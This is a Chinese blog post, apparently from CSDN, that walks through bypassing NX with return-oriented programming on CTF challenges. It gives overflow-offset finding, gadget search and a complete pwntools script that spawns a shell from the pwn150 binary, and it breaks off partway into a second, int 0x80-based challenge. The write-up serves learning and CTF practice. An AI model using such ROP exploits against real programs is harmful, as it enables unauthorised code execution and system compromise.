二进制安全之NX绕过方法--ROP技术

二进制安全之NX绕过方法–ROP技术原文地址在之前的缓冲区溢出的实验中,溢出到栈中的shellcode可以直接被系统执行,给系统安全带来了极大的风险,因此NX技术应运而生,该技术是一种在CPU上实现的安全技术,将数据和命令进行了区分,被标记为数据的内存页没有执行权限,因此即使将恶意shellcode写入到执行流程中也会因缺少执行权限而利用失败,在一定程度上提高了系统的安全性,但是所有安全都是绝...
摘要由CSDN通过智能技术生成

二进制安全之NX绕过方法–ROP技术

原文地址
在之前的缓冲区溢出的实验中,溢出到栈中的shellcode可以直接被系统执行,给系统安全带来了极大的风险,因此NX技术应运而生,该技术是一种在CPU上实现的安全技术,将数据和命令进行了区分,被标记为数据的内存页没有执行权限,因此即使将恶意shellcode写入到执行流程中也会因缺少执行权限而利用失败,在一定程度上提高了系统的安全性,但是所有安全都是绝对的,一种名为ROP(Return-Oriented Programming)的技术就能绕过这项安全措施,ROP的核心思想是利用retjmpcall等指令(主要是ret)来连接代码的上下文从而改变程序执行流程的一项技术,由于ret指令的功能是将当前的栈顶数据弹出到EIP中并跳转执行,我们可以在栈中精心构造一些以ret结尾的特殊指令(gadget)使系统跳转到我们在栈中放置的指令的位置,进而执行这些指令,达到攻击的效果。

64位ELF的ROP

先拿一道bugs bunny ctf 2017pwn150来说:

题目下载

这是一个64位的ELF文件且程序开启了NX:

放到IDA里可以很容易发现Hello()函数中存在溢出漏洞:

现看一下溢出的情况,可以使用IDA的远程调试来看看再发生溢出后寄存器的数据,IDA远程调试教程

点击运行程序,向程序中输入如下字符串:

gdb-peda$ pattern_creat 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

回车之后IDA报错,段错误,查看此时寄存器中的数值:

栈内数据如下:

此时RSP寄存器中的值为41416741414B4141,ASCII转化一下就是AAgAAKAA,按照存储方式倒序就是AAKAAgAA,查看偏移量为88:

gdb-peda$ pattern_offset AAKAAgAA
AAKAAgAA found at offset: 88

至此我们找到了到达RSP的距离,如果想实现system("/bin/sh")起shell还需要找到system()函数的位置和字符串/bin/sh,和一个gadgetgadget是指程序中我们可以利用的代码片段,由于本程序为64位程序,在运行时与32位程序不同,64位程序的前六个整型或指针参数依次保存在RDIRSIRDXRCXR8R9这六个寄存器中,多出来的参数才会入栈,因此我们按照ROP的思路,需要找到的gadgetpop rdi , ret

system()的位置可以在main函数中的一个today()中找到:

.text:0000000000400756 ; __unwind {
   
.text:0000000000400756                 push    rbp
.text:0000000000400757                 mov     rbp, rsp
.text:000000000040075A                 mov     edi, offset command ; "/bin/date"
.text:000000000040075F                 call    _system
.text:0000000000400764                 nop
.text:0000000000400765                 pop     rbp
.text:0000000000400766                 retn
.text:0000000000400766 ; } // starts at 400756
.text:0000000000400766 today           endp
.text:0000000000400766

地址为000000000040075F

/bin/sh可以在Hello的输出语句的shorry中找到一个sh

地址为00000000004008fb

本来还想着这里怎么打错了,原来是留了后门啊,也可以在函数名中找到:

地址为00000000004003ef

寻找目标gadget可用此程序:ROPgadget

⚡ root@kali ROPgadget --binary pwn150 | grep "pop rdi"
0x0000000000400883 : pop rdi ; ret

找到了以上的地址,可以构造脚本了:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux', timeout = 1)

io = process("./pwn150")

system = 0x40075f
binsh = 0x4003ef
pop_rdi_ret = 0x400883  

payload="A"*88
payload+=p64(pop_rdi_ret)
payload+=p64(binsh)
payload+=p64(system)

io.sendline(payload)
io.interactive()

漏洞利用成功,再解释一下为什么 要这样构造脚本:

首先发送了88个字节填充无用空间,在88个字节之后的数据gadget会存储在ESP所指的内存区域,此时系统会执行gadget的指令pop rdi ; retrsp+8,通过pop rdi/bin/sh弹出到RDI寄存器中,rsp+8rsp此时指向system(),之后会执行ret,因为此时RSP指向system(),系统会调用system()函数并将rdi中的值作为参数传到system()中从而执行system("/bin/sh")

无system函数时调用int 0x80完成ROP

上文中的例子是程序中有system函数调用的情况,但是如果程序中没有system函数的调用应该怎么办呢?

我们可以使用int 0x80来进行系统中断

启动系统调用需要使用INT指令。linux系统调用位于中断0x80,执行INT指令时,所有操作转移到内核中的系统调用处理程序,完成后执行转移到INT指令之后的下一条指令。操作系统实现系统调用的基本过程是:

  • 应用程序调用库函数(API);
  • API将系统调用号存入EAX,然后通过中断调用使系统进入内核态;
  • 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
  • 系统调用完成相应功能,将返回值存入EAX,返回到中断处理函数;
  • 中断处理函数返回到API中;
  • API将EAX返回给应用程序。
  • 寄存器eax存放调用号,剩下的几个寄存器存放参数。

Tamu CTF 2018pwn5来说:

题目下载

看一下开启的安全措施:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

IDA看一下:

int first_day_corps()
{
   
  int result; // eax

  printf(
    "You wake with a start as your sophomore yells \"Wake up fish %s! Why aren't you with your buddies in the fallout hole?\"\n");
  puts("As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.");
  puts("You spend your morning excersizing and eating chow.");
  puts("Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)");
  puts("1. Go to class.\n2. Change your major.\n3. Skip class and sleep\n4. Study");
  getchar();
  result = (char)getchar();
  if ( result == 50 )
  {
   
    printf("You decide that you are already tired of studying %s and go to the advisors office to change your major\n");
    printf("What do you change your major to?: ");
    result = change_major();
  }
  else if ( result > 50 )
  {
   
    if ( result == 51 )
    {
   
      result = puts(
                 "You succumb to the sweet calling of your rack and decide that sleeping is more important than class at the moment.");
    }
    else if ( result == 52 )
    {
   
      puts(
        "You realize that the corps dorms are probably not the best place to be studying and decide to go to the library");
      result = printf(
                 "Unfortunately the queitness of the library works against you and as you are studying %s related topics "
                 "you start to doze off and fall asleep\n"
  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值